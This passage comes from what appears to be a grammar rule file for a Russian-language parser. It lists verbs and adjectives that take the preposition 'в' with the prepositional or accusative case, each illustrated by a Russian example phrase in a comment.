// Олигархи властвовали в стране rus_verbs:возбудить{}, // возбудить в сердце тоску rus_verbs:возбуждать{}, // возбуждать в сердце тоску rus_verbs:возвыситься{}, // возвыситься в глазах современников rus_verbs:возжечь{}, // возжечь в храме огонь rus_verbs:возжечься{}, // Огонь возжёгся в храме rus_verbs:возжигать{}, // возжигать в храме огонь rus_verbs:возжигаться{}, // Огонь возжигается в храме rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь rus_verbs:вознамериться{}, // вознамериться уйти в монастырь rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове rus_verbs:возникнуть{}, // Новые идейки возникли в голове rus_verbs:возродиться{}, // возродиться в новом качестве rus_verbs:возрождать{}, // возрождать в новом качестве rus_verbs:возрождаться{}, // возрождаться в новом амплуа rus_verbs:ворошить{}, // ворошить в камине кочергой золу rus_verbs:воспевать{}, // Поэты воспевают героев в одах rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами rus_verbs:воспеть{}, // Поэты воспели в этой оде героев rus_verbs:воспретить{}, // воспретить в помещении азартные игры rus_verbs:восславить{}, // Поэты восславили в одах rus_verbs:восславлять{}, // Поэты восславляют в одах rus_verbs:восславляться{}, // Героя восславляются в одах rus_verbs:воссоздать{}, // воссоздает в памяти образ человека rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека rus_verbs:воссоздаться{}, // воссоздаться в памяти rus_verbs:вскипятить{}, // вскипятить в чайнике воду rus_verbs:вскипятиться{}, // вскипятиться в чайнике rus_verbs:встретить{}, // встретить в классе старого приятеля rus_verbs:встретиться{}, // встретиться в классе rus_verbs:встречать{}, // встречать в лесу голодного медведя rus_verbs:встречаться{}, // встречаться в кафе rus_verbs:выбривать{}, // выбривать что-то в подмышках rus_verbs:выбрить{}, // выбрить что-то в паху rus_verbs:вывалять{}, // вывалять кого-то в грязи rus_verbs:вываляться{}, // вываляться в грязи rus_verbs:вываривать{}, // вываривать в молоке rus_verbs:вывариваться{}, // вывариваться в молоке rus_verbs:выварить{}, // выварить в молоке rus_verbs:вывариться{}, // вывариться в молоке rus_verbs:выгрызать{}, // выгрызать в сыре отверствие rus_verbs:выгрызть{}, // выгрызть в сыре отверстие rus_verbs:выгуливать{}, // выгуливать в парке собаку rus_verbs:выгулять{}, // выгулять в парке собаку rus_verbs:выдолбить{}, // выдолбить в стволе углубление rus_verbs:выжить{}, // выжить в пустыне rus_verbs:Выискать{}, // Выискать в программе ошибку rus_verbs:выискаться{}, // Ошибка выискалась в программе rus_verbs:выискивать{}, // выискивать в программе ошибку rus_verbs:выискиваться{}, // выискиваться в программе rus_verbs:выкраивать{}, // выкраивать в расписании время rus_verbs:выкраиваться{}, // выкраиваться в расписании инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере глагол:выкупаться{вид:соверш}, rus_verbs:выловить{}, // выловить в пруду rus_verbs:вымачивать{}, // вымачивать в молоке rus_verbs:вымачиваться{}, // вымачиваться в молоке rus_verbs:вынюхивать{}, // вынюхивать в траве следы rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду rus_verbs:выпачкаться{}, // выпачкаться в грязи rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков rus_verbs:выращивать{}, // выращивать в теплице помидоры rus_verbs:выращиваться{}, // выращиваться в теплице rus_verbs:вырыть{}, // вырыть в земле глубокую яму rus_verbs:высадить{}, // высадить в пустынной местности rus_verbs:высадиться{}, // высадиться в пустынной местности rus_verbs:высаживать{}, // высаживать в пустыне rus_verbs:высверливать{}, // высверливать в доске отверствие rus_verbs:высверливаться{}, // высверливаться в стене rus_verbs:высверлить{}, // высверлить в стене отверствие rus_verbs:высверлиться{}, // высверлиться в стене rus_verbs:выскоблить{}, // выскоблить в столешнице канавку rus_verbs:высматривать{}, // высматривать в темноте rus_verbs:заметить{}, // заметить в помещении rus_verbs:оказаться{}, // оказаться в первых рядах rus_verbs:душить{}, // душить в объятиях rus_verbs:оставаться{}, // оставаться в классе rus_verbs:появиться{}, // впервые появиться в фильме rus_verbs:лежать{}, // лежать в футляре rus_verbs:раздаться{}, // раздаться в плечах rus_verbs:ждать{}, // ждать в здании вокзала rus_verbs:жить{}, // жить в трущобах rus_verbs:постелить{}, // постелить в прихожей rus_verbs:оказываться{}, // оказываться в неприятной ситуации rus_verbs:держать{}, // держать в голове rus_verbs:обнаружить{}, // обнаружить в себе способность rus_verbs:начинать{}, // начинать в лаборатории rus_verbs:рассказывать{}, // рассказывать в лицах rus_verbs:ожидать{}, // ожидать в помещении rus_verbs:продолжить{}, // продолжить в помещении rus_verbs:состоять{}, // состоять в группе rus_verbs:родиться{}, // родиться в рубашке rus_verbs:искать{}, // искать в кармане rus_verbs:иметься{}, // иметься в наличии rus_verbs:говориться{}, // говориться в среде панков rus_verbs:клясться{}, // клясться в верности rus_verbs:узнавать{}, // узнавать в нем своего сына rus_verbs:признаться{}, // признаться в ошибке rus_verbs:сомневаться{}, // сомневаться в искренности rus_verbs:толочь{}, // толочь в ступе rus_verbs:понадобиться{}, // понадобиться в суде rus_verbs:служить{}, // служить в пехоте rus_verbs:потолочь{}, // потолочь в ступе rus_verbs:появляться{}, // появляться в театре rus_verbs:сжать{}, // сжать в объятиях rus_verbs:действовать{}, // действовать в постановке rus_verbs:селить{}, // селить в гостинице rus_verbs:поймать{}, // поймать в лесу rus_verbs:увидать{}, // увидать в толпе rus_verbs:подождать{}, // подождать в кабинете rus_verbs:прочесть{}, // прочесть в глазах rus_verbs:тонуть{}, // тонуть в реке rus_verbs:ощущать{}, // ощущать в животе rus_verbs:ошибиться{}, // ошибиться в расчетах rus_verbs:отметить{}, // отметить в списке rus_verbs:показывать{}, // показывать в динамике rus_verbs:скрыться{}, // скрыться в траве rus_verbs:убедиться{}, // убедиться в корректности rus_verbs:прозвучать{}, // прозвучать в наушниках rus_verbs:разговаривать{}, // разговаривать в фойе rus_verbs:издать{}, // издать в России rus_verbs:прочитать{}, // прочитать в газете rus_verbs:попробовать{}, // попробовать в деле rus_verbs:замечать{}, // замечать в программе ошибку rus_verbs:нести{}, // нести в руках rus_verbs:пропасть{}, // пропасть в плену rus_verbs:носить{}, // носить в кармане rus_verbs:гореть{}, // гореть в аду rus_verbs:поправить{}, // поправить в программе rus_verbs:застыть{}, // застыть в неудобной позе rus_verbs:получать{}, // получать в кассе rus_verbs:потребоваться{}, // потребоваться в работе rus_verbs:спрятать{}, // спрятать в шкафу rus_verbs:учиться{}, // учиться в институте rus_verbs:развернуться{}, // развернуться в коридоре rus_verbs:подозревать{}, // подозревать в мошенничестве rus_verbs:играть{}, // играть в команде rus_verbs:сыграть{}, // сыграть в команде rus_verbs:строить{}, // строить в деревне rus_verbs:устроить{}, // устроить в доме вечеринку rus_verbs:находить{}, // находить в лесу rus_verbs:нуждаться{}, // нуждаться в деньгах rus_verbs:испытать{}, // испытать в рабочей обстановке rus_verbs:мелькнуть{}, // мелькнуть в прицеле rus_verbs:очутиться{}, // очутиться в закрытом помещении инфинитив:использовать{вид:соверш}, // использовать в работе инфинитив:использовать{вид:несоверш}, глагол:использовать{вид:несоверш}, глагол:использовать{вид:соверш}, rus_verbs:лететь{}, // лететь в самолете rus_verbs:смеяться{}, // смеяться в цирке rus_verbs:ездить{}, // ездить в лимузине rus_verbs:заснуть{}, // заснуть в неудобной позе rus_verbs:застать{}, // застать в неформальной обстановке rus_verbs:очнуться{}, // очнуться в незнакомой обстановке rus_verbs:твориться{}, // Что творится в закрытой зоне rus_verbs:разглядеть{}, // разглядеть в темноте rus_verbs:изучать{}, // изучать в естественных условиях rus_verbs:удержаться{}, // удержаться в седле rus_verbs:побывать{}, // побывать в зоопарке rus_verbs:уловить{}, // уловить в словах нотку отчаяния rus_verbs:приобрести{}, // приобрести в лавке rus_verbs:исчезать{}, // исчезать в тумане rus_verbs:уверять{}, // уверять в своей невиновности rus_verbs:продолжаться{}, // продолжаться в воздухе rus_verbs:открывать{}, // открывать в городе новый стадион rus_verbs:поддержать{}, // поддержать в парке порядок rus_verbs:солить{}, // солить в бочке rus_verbs:прожить{}, // прожить в деревне rus_verbs:создавать{}, // создавать в театре rus_verbs:обсуждать{}, // обсуждать в коллективе rus_verbs:заказать{}, // заказать в магазине rus_verbs:отыскать{}, // отыскать в гараже rus_verbs:уснуть{}, // уснуть в кресле rus_verbs:задержаться{}, // задержаться в театре rus_verbs:подобрать{}, // подобрать в коллекции rus_verbs:пробовать{}, // пробовать в работе rus_verbs:курить{}, // курить в закрытом помещении rus_verbs:устраивать{}, // устраивать в лесу засаду rus_verbs:установить{}, // установить в багажнике rus_verbs:запереть{}, // запереть в сарае rus_verbs:содержать{}, // содержать в достатке rus_verbs:синеть{}, // синеть в кислородной атмосфере rus_verbs:слышаться{}, // слышаться в голосе rus_verbs:закрыться{}, // закрыться в здании rus_verbs:скрываться{}, // скрываться в квартире rus_verbs:родить{}, // родить в больнице rus_verbs:описать{}, // описать в заметках rus_verbs:перехватить{}, // перехватить в коридоре rus_verbs:менять{}, // менять в магазине rus_verbs:скрывать{}, // скрывать в чужой квартире rus_verbs:стиснуть{}, // стиснуть в стальных объятиях rus_verbs:останавливаться{}, // останавливаться в гостинице rus_verbs:мелькать{}, // мелькать в телевизоре rus_verbs:присутствовать{}, // присутствовать в аудитории rus_verbs:украсть{}, // украсть в магазине rus_verbs:победить{}, // победить в войне rus_verbs:расположиться{}, // расположиться в гостинице rus_verbs:упомянуть{}, // упомянуть в своей книге rus_verbs:плыть{}, // плыть в старой бочке rus_verbs:нащупать{}, // нащупать в глубине rus_verbs:проявляться{}, // проявляться в работе rus_verbs:затихнуть{}, // затихнуть в норе rus_verbs:построить{}, // построить в гараже rus_verbs:поддерживать{}, // поддерживать в исправном состоянии rus_verbs:заработать{}, // заработать в стартапе rus_verbs:сломать{}, // сломать в суставе rus_verbs:снимать{}, // снимать в гардеробе rus_verbs:сохранить{}, // сохранить в коллекции rus_verbs:располагаться{}, // располагаться в отдельном кабинете rus_verbs:сражаться{}, // сражаться в честном бою rus_verbs:спускаться{}, // спускаться в батискафе rus_verbs:уничтожить{}, // уничтожить в схроне rus_verbs:изучить{}, // изучить в естественных условиях rus_verbs:рождаться{}, // рождаться в муках rus_verbs:пребывать{}, // пребывать в прострации rus_verbs:прилететь{}, // прилететь в аэробусе rus_verbs:догнать{}, // догнать в переулке rus_verbs:изобразить{}, // изобразить в танце rus_verbs:проехать{}, // проехать в легковушке rus_verbs:убедить{}, // убедить в разумности rus_verbs:приготовить{}, // приготовить в духовке rus_verbs:собирать{}, // собирать в лесу rus_verbs:поплыть{}, // поплыть в катере rus_verbs:доверять{}, // доверять в управлении rus_verbs:разобраться{}, // разобраться в законах rus_verbs:ловить{}, // ловить в озере rus_verbs:проесть{}, // проесть в куске металла отверстие rus_verbs:спрятаться{}, // спрятаться в подвале rus_verbs:провозгласить{}, // провозгласить в речи rus_verbs:изложить{}, // изложить в своём выступлении rus_verbs:замяться{}, // замяться в коридоре rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна rus_verbs:хранить{}, // хранить в шкатулке rus_verbs:шутить{}, // шутить в классе глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях инфинитив:рассыпаться{ aux stress="рассып^аться" }, rus_verbs:чертить{}, // чертить в тетрадке rus_verbs:отразиться{}, // отразиться в аттестате rus_verbs:греть{}, // греть в микроволновке rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса rus_verbs:рассуждать{}, // Автор рассуждает в своей статье rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда rus_verbs:окружать{}, // окружать в лесу rus_verbs:сопровождать{}, // сопровождать в операции rus_verbs:заканчиваться{}, // заканчиваться в дороге rus_verbs:поселиться{}, // поселиться в загородном доме rus_verbs:охватывать{}, // охватывать в хронологии rus_verbs:запеть{}, // запеть в кино инфинитив:провозить{вид:несоверш}, // провозить в багаже глагол:провозить{вид:несоверш}, rus_verbs:мочить{}, // мочить в сортире rus_verbs:перевернуться{}, // перевернуться в полёте rus_verbs:улететь{}, // улететь в теплые края rus_verbs:сдержать{}, // сдержать в руках rus_verbs:преследовать{}, // преследовать в любой другой стране rus_verbs:драться{}, // драться в баре rus_verbs:просидеть{}, // просидеть в классе rus_verbs:убираться{}, // убираться в квартире rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения rus_verbs:пугать{}, // пугать в прессе rus_verbs:отреагировать{}, // отреагировать в прессе rus_verbs:проверять{}, // проверять в аппарате rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив rus_verbs:летать{}, // летать в комфортабельном частном самолёте rus_verbs:толпиться{}, // толпиться в фойе rus_verbs:плавать{}, // плавать в специальном костюме rus_verbs:пробыть{}, // пробыть в воде слишком долго rus_verbs:прикинуть{}, // прикинуть в уме rus_verbs:застрять{}, // застрять в лифте rus_verbs:метаться{}, // метаться в кровате rus_verbs:сжечь{}, // сжечь в печке rus_verbs:расслабиться{}, // расслабиться в ванной rus_verbs:услыхать{}, // услыхать в автобусе rus_verbs:удержать{}, // удержать в вертикальном положении rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы rus_verbs:рассмотреть{}, // рассмотреть в капле воды rus_verbs:просмотреть{}, // просмотреть в браузере rus_verbs:учесть{}, // учесть в планах rus_verbs:уезжать{}, // уезжать в чьей-то машине rus_verbs:похоронить{}, // похоронить в мерзлой земле rus_verbs:растянуться{}, // растянуться в расслабленной позе rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке rus_verbs:гулять{}, // гулять в парке rus_verbs:утонуть{}, // утонуть в реке rus_verbs:зажать{}, // зажать в медвежьих объятиях rus_verbs:усомниться{}, // усомниться в объективности rus_verbs:танцевать{}, // танцевать в спортзале rus_verbs:проноситься{}, // проноситься в голове rus_verbs:трудиться{}, // трудиться в кооперативе глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный }, rus_verbs:сушить{}, // сушить в сушильном шкафу rus_verbs:зашевелиться{}, // зашевелиться в траве rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке rus_verbs:промелькнуть{}, // промелькнуть в окне rus_verbs:поучаствовать{}, // поучаствовать в обсуждении rus_verbs:закрыть{}, // закрыть в комнате rus_verbs:запирать{}, // запирать в комнате rus_verbs:закрывать{}, // закрывать в доме rus_verbs:заблокировать{}, // заблокировать в доме rus_verbs:зацвести{}, // В садах зацвела сирень rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу. rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе rus_verbs:стоять{}, // войска, стоявшие в Риме rus_verbs:закалить{}, // ветераны, закаленные в боях rus_verbs:выступать{}, // пришлось выступать в тюрьме. rus_verbs:выступить{}, // пришлось выступить в тюрьме. rus_verbs:закопошиться{}, // Мыши закопошились в траве rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре rus_verbs:закрываться{}, // закрываться в комнате rus_verbs:провалиться{}, // провалиться в прокате деепричастие:авторизируясь{ вид:несоверш }, глагол:авторизироваться{ вид:несоверш }, инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе rus_verbs:существовать{}, // существовать в вакууме деепричастие:находясь{}, прилагательное:находившийся{}, прилагательное:находящийся{}, глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, // находиться в вакууме rus_verbs:регистрировать{}, // регистрировать в инспекции глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш }, инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции rus_verbs:поковыряться{}, // поковыряться в носу rus_verbs:оттаять{}, // оттаять в кипятке rus_verbs:распинаться{}, // распинаться в проклятиях rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения. прилагательное:несчастный{}, // Он очень несчастен в семейной жизни. rus_verbs:объясниться{}, // Он объяснился в любви. прилагательное:нетвердый{}, // Он нетвёрд в истории. rus_verbs:заниматься{}, // Он занимается в читальном зале. rus_verbs:вращаться{}, // Он вращается в учёных кругах. прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне. rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры. rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения. rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев. rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях. rus_verbs:продолжать{}, // Продолжайте в том же духе. rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц. rus_verbs:болтать{}, // Не болтай в присутствии начальника! rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника! rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине. rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах rus_verbs:сходиться{}, // Все дороги сходятся в Москве rus_verbs:убирать{}, // убирать в комнате rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста rus_verbs:уединяться{}, // уединяться в пустыне rus_verbs:уживаться{}, // уживаться в одном коллективе rus_verbs:укорять{}, // укорять друга в забывчивости rus_verbs:читать{}, // он читал об этом в журнале rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем rus_verbs:работать{}, // Я работаю в театре. rus_verbs:признать{}, // Я признал в нём старого друга. rus_verbs:преподавать{}, // Я преподаю в университете. rus_verbs:понимать{}, // Я плохо понимаю в живописи. rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа rus_verbs:замереть{}, // вся толпа замерла в восхищении rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле. rus_verbs:идти{}, // Я иду в неопределённом направлении. rus_verbs:заболеть{}, // Я заболел в дороге. rus_verbs:ехать{}, // Я еду в автобусе rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю. rus_verbs:провести{}, // Юные годы он провёл в Италии. rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти. rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении. rus_verbs:произойти{}, // Это произошло в одном городе в Японии. rus_verbs:привидеться{}, // Это мне привиделось во сне. rus_verbs:держаться{}, // Это дело держится в большом секрете. rus_verbs:привиться{}, // Это выражение не привилось в русском языке. rus_verbs:восстановиться{}, // Эти писатели восстановились в правах. rus_verbs:быть{}, // Эта книга есть в любом книжном магазине. прилагательное:популярный{}, // Эта идея очень популярна в массах. rus_verbs:шуметь{}, // Шумит в голове. rus_verbs:остаться{}, // Шляпа осталась в поезде. rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях. rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе. rus_verbs:пересохнуть{}, // У меня в горле пересохло. rus_verbs:щекотать{}, // У меня в горле щекочет. rus_verbs:колоть{}, // У меня в боку колет. прилагательное:свежий{}, // Событие ещё свежо в памяти. rus_verbs:собрать{}, // Соберите всех учеников во дворе. rus_verbs:белеть{}, // Снег белеет в горах. rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте? rus_verbs:таять{}, // Сахар тает в кипятке. rus_verbs:жать{}, // Сапог жмёт в подъёме. rus_verbs:возиться{}, // Ребята возятся в углу. rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме. rus_verbs:кружиться{}, // Они кружились в вальсе. rus_verbs:выставлять{}, // Они выставляют его в смешном виде. rus_verbs:бывать{}, // Она часто бывает в обществе. rus_verbs:петь{}, // Она поёт в опере. rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях. rus_verbs:валяться{}, // Вещи валялись в беспорядке. rus_verbs:пройти{}, // Весь день прошёл в беготне. rus_verbs:продавать{}, // В этом магазине продают обувь. rus_verbs:заключаться{}, // В этом заключается вся сущность. rus_verbs:звенеть{}, // В ушах звенит. rus_verbs:проступить{}, // В тумане проступили очертания корабля. rus_verbs:бить{}, // В саду бьёт фонтан. rus_verbs:проскользнуть{}, // В речи проскользнул упрёк. rus_verbs:оставить{}, // Не оставь товарища в опасности. rus_verbs:прогулять{}, // Мы прогуляли час в парке. rus_verbs:перебить{}, // Мы перебили врагов в бою. rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице. rus_verbs:видеть{}, // Он многое видел в жизни. // глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере. rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах. rus_verbs:кинуть{}, // Он кинул меня в беде. rus_verbs:приходить{}, // Приходи в сентябре rus_verbs:воскрешать{}, // воскрешать в памяти rus_verbs:соединять{}, // соединять в себе rus_verbs:разбираться{}, // умение разбираться в вещах rus_verbs:делать{}, // В её комнате делали обыск. rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина. rus_verbs:начаться{}, // В деревне начались полевые работы. rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль. rus_verbs:вертеться{}, // В голове вертится вчерашний разговор. rus_verbs:веять{}, // В воздухе веет прохладой. rus_verbs:висеть{}, // В воздухе висит зной. rus_verbs:носиться{}, // В воздухе носятся комары. rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее rus_verbs:воскресить{}, // воскресить в памяти rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина прилагательное:уверенный{ причастие }, // Она уверена в своих силах. прилагательное:постоянный{}, // Она постоянна во вкусах. прилагательное:сильный{}, // Он не силён в математике. прилагательное:повинный{}, // Он не повинен в этом. прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве. rus_verbs:сесть{}, // Она села в тени rus_verbs:заливаться{}, // в нашем парке заливаются соловьи rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени // rus_verbs:расти{}, // дерево, растущее в лесу rus_verbs:происходить{}, // что происходит в поликлиннике rus_verbs:спать{}, // кто спит в моей кровати rus_verbs:мыть{}, // мыть машину в саду ГЛ_ИНФ(царить), // В воздухе царило безмолвие ГЛ_ИНФ(мести), // мести в прихожей пол ГЛ_ИНФ(прятать), // прятать в яме ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне. // ГЛ_ИНФ(собраться), // собраться в порту ГЛ_ИНФ(случиться), // что-то случилось в больнице ГЛ_ИНФ(зажечься), // в небе зажглись звёзды ГЛ_ИНФ(купить), // купи молока в магазине прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР } // Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds fact гл_предл { if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } } then return true } // С локативом: // собраться в порту fact гл_предл { if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } } then return true } #endregion Предложный #region Винительный // Для глаголов движения с выраженным направлением действия может присоединяться // предложный паттерн с винительным падежом. wordentry_set Гл_В_Вин = { rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок. глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе. глагол:ввергать{}, инфинитив:ввергнуть{}, инфинитив:ввергать{}, rus_verbs:двинуться{}, // Двинулись в путь и мы. rus_verbs:сплавать{}, // Сплавать в Россию! rus_verbs:уложиться{}, // Уложиться в воскресенье. rus_verbs:спешить{}, // Спешите в Лондон rus_verbs:кинуть{}, // Киньте в море. rus_verbs:проситься{}, // Просилась в Никарагуа. rus_verbs:притопать{}, // Притопал в Будапешт. rus_verbs:скататься{}, // Скатался в Красноярск. rus_verbs:соскользнуть{}, // Соскользнул в пике. rus_verbs:соскальзывать{}, rus_verbs:играть{}, // Играл в дутье. глагол:айда{}, // Айда в каморы. rus_verbs:отзывать{}, // Отзывали в Москву... rus_verbs:сообщаться{}, // Сообщается в Лондон. rus_verbs:вдуматься{}, // Вдумайтесь в них. rus_verbs:проехать{}, // Проехать в Лунево... rus_verbs:спрыгивать{}, // Спрыгиваем в него. rus_verbs:верить{}, // Верю в вас! rus_verbs:прибыть{}, // Прибыл в Подмосковье. rus_verbs:переходить{}, // Переходите в школу. rus_verbs:доложить{}, // Доложили в Москву. rus_verbs:подаваться{}, // Подаваться в Россию? rus_verbs:спрыгнуть{}, // Спрыгнул в него. rus_verbs:вывезти{}, // Вывезли в Китай. rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю. rus_verbs:пропихнуть{}, rus_verbs:транспортироваться{}, rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения rus_verbs:дуть{}, rus_verbs:БОГАТЕТЬ{}, // rus_verbs:РАЗБОГАТЕТЬ{}, // rus_verbs:ВОЗРАСТАТЬ{}, // rus_verbs:ВОЗРАСТИ{}, // rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ) rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ) rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ) rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ) rus_verbs:ЗАМАНИВАТЬ{}, rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ) rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ) rus_verbs:ВРУБАТЬСЯ{}, rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ) rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ) rus_verbs:ОБЛАЧАТЬ{}, rus_verbs:ОБЛАЧИТЬСЯ{}, rus_verbs:ОБЛАЧАТЬСЯ{}, rus_verbs:НАРЯДИТЬСЯ{}, rus_verbs:НАРЯЖАТЬСЯ{}, rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ) rus_verbs:ЗАХВАТЫВАТЬ{}, rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ) rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ) rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ) rus_verbs:ПОСТРОИТЬСЯ{}, rus_verbs:ВЫСТРОИТЬСЯ{}, rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ) rus_verbs:ВЫПУСКАТЬ{}, rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ) rus_verbs:ВЦЕПИТЬСЯ{}, rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ) rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ) rus_verbs:ОТСТУПАТЬ{}, rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ) rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ) rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ) rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ) rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ) rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ) rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин) rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного 